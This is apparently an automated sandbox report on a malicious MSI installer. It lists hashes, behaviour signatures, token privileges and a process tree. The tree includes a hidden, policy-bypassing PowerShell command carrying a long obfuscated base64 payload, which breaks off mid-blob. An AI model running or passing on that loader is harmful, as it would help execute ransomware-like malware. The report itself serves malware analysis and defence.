0d773d5b3d2fac7f53d22a6cb558eb638f62b77c12d8c5e5f29e189750de6733

Analysis

max time kernel
149s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/10/2026, 22:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0d773d5b3d2fac7f.msi
Size 3.3MB
Sample261022-2kt6zsys9m
SHA256 0d773d5b3d2fac7f53d22a6cb558eb638f62b77c12d8c5e5f29e189750de6733
MD5 113f5dce7f83148cf18f3d447397b18e
SHA1 af4a03053eea8e806770b907060bdb6339987403
SHA512 8cf0751869ff5df4d2b64f702adec4b63e84e4d8e3f86d131aeb92f1f90f72bcf36b72a45d66f3e112c336fe9443912426a591d36424618d60541f6fe07a86f0
SSDEEP 49152:WHX9WA8SZzzXKfoVtnejQq3wOf1sntZCMAT:W3QA8IzDKqUjMK10u
TLSH
T1FEF54B00D499C778E7AF03324EC209289A463B5DD59FD69DFAB525BB808C6FF746812C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation ransomware

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
23	4772	powershell.exe
25	4772	powershell.exe
27	4772	powershell.exe
29	4772	powershell.exe
31	4772	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4772	powershell.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
22	ipinfo.io
23	ipinfo.io

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e58bc94.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBD6F.tmp	msiexec.exe
File created	C:\Windows\Installer\e58bc96.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58bc94.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{08A4D795-DA65-43AA-A72E-A120D0428013}	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
3696	msiexec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000007ea4f5aeffb5eeca0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800007ea4f5ae0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff0000000007000100006809007ea4f5ae000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a7ea4f5ae000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d7ea4f5ae000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2680	msiexec.exe
2680	msiexec.exe
4772	powershell.exe
4772	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3696	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3696	msiexec.exe
Token: SeSecurityPrivilege	2680	msiexec.exe
Token: SeCreateTokenPrivilege	3696	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3696	msiexec.exe
Token: SeLockMemoryPrivilege	3696	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3696	msiexec.exe
Token: SeMachineAccountPrivilege	3696	msiexec.exe
Token: SeTcbPrivilege	3696	msiexec.exe
Token: SeSecurityPrivilege	3696	msiexec.exe
Token: SeTakeOwnershipPrivilege	3696	msiexec.exe
Token: SeLoadDriverPrivilege	3696	msiexec.exe
Token: SeSystemProfilePrivilege	3696	msiexec.exe
Token: SeSystemtimePrivilege	3696	msiexec.exe
Token: SeProfSingleProcessPrivilege	3696	msiexec.exe
Token: SeIncBasePriorityPrivilege	3696	msiexec.exe
Token: SeCreatePagefilePrivilege	3696	msiexec.exe
Token: SeCreatePermanentPrivilege	3696	msiexec.exe
Token: SeBackupPrivilege	3696	msiexec.exe
Token: SeRestorePrivilege	3696	msiexec.exe
Token: SeShutdownPrivilege	3696	msiexec.exe
Token: SeDebugPrivilege	3696	msiexec.exe
Token: SeAuditPrivilege	3696	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3696	msiexec.exe
Token: SeChangeNotifyPrivilege	3696	msiexec.exe
Token: SeRemoteShutdownPrivilege	3696	msiexec.exe
Token: SeUndockPrivilege	3696	msiexec.exe
Token: SeSyncAgentPrivilege	3696	msiexec.exe
Token: SeEnableDelegationPrivilege	3696	msiexec.exe
Token: SeManageVolumePrivilege	3696	msiexec.exe
Token: SeImpersonatePrivilege	3696	msiexec.exe
Token: SeCreateGlobalPrivilege	3696	msiexec.exe
Token: SeBackupPrivilege	752	vssvc.exe
Token: SeRestorePrivilege	752	vssvc.exe
Token: SeAuditPrivilege	752	vssvc.exe
Token: SeBackupPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe
Token: SeTakeOwnershipPrivilege	2680	msiexec.exe
Token: SeRestorePrivilege	2680	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3696	msiexec.exe
3696	msiexec.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 3060	2680	msiexec.exe	95
PID 2680 wrote to memory of 4772	2680	msiexec.exe	97
PID 4772 wrote to memory of 3092	4772	powershell.exe	99
PID 3092 wrote to memory of 2520	3092	csc.exe	100

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\0d773d5b3d2fac7f.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3696

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:3060
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$env:nlVSV1OVGyfA='C:\Users\Admin\AppData\Local\Temp\0d773d5b3d2fac7f.msi';$ZPvzA_=[Convert]::FromBase64String('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NWU1NnA2N3k3OFQ4OWY5OmU6O1I7PHk8PUI9PmU+P2s/QGFAQU1BQi5CQ11DRDJERTNFRnRGR25HSGlISXVJSltKSyxLTF1MTXJNTnROT1BPUHRQUW5RUklSU1tTVCxUVV1VVmdWV25XWGlYWXJZWnRaW3NbXFtcXShdXkBeX11fYF1gYVthYmViY3BjZHlkZXRlZltmZyhnaCBoaSlpal1qazJrbDNsbXRtbm5ub2lvcHVwcVtxcihycyBzdCd0dWx1dmx2d2R3eC54eWl5enN6e217fCd8fSB9fid+f2V/gHOAgWGBgmKCg2GDhHSEhWGFhkSGh26HiGWIiXCJik+Ki2mLjHOMjU2NjieOjyCPkDKQkTKRkjiSkzWTlDiUlTmVlkmWl1CXmDuYmTKZmjKamzibnDWcnTidnjmen3OfoGGgoSShoiCioymjpCmkpV2lpmemp26nqGmoqXKpqnSqq3OrrFusrSytrl2ur3KvsHSwsVCxsnSys26ztEm0tVu1tii2t0C3uF24uV25ulu6u2W7vHC8vXm9vnS+v1u/wCjAwSDBwinCw13DxHLExXTFxlDGx3THyG7IyUnJylvKyyjLzCDMzSfNzmzOz2zP0GTQ0S7R0jLS0zPT1GzU1WXV1m7W13LX2GXY2WvZ2ifa2yDb3Cfc3XPd3nPe32Xf4HLg4WTh4mTi40Hj5GPk5W/l5nLm51Dn6HTo6WXp6kfq6yfr7CDs7TLt7jLu7zjv8DXw8T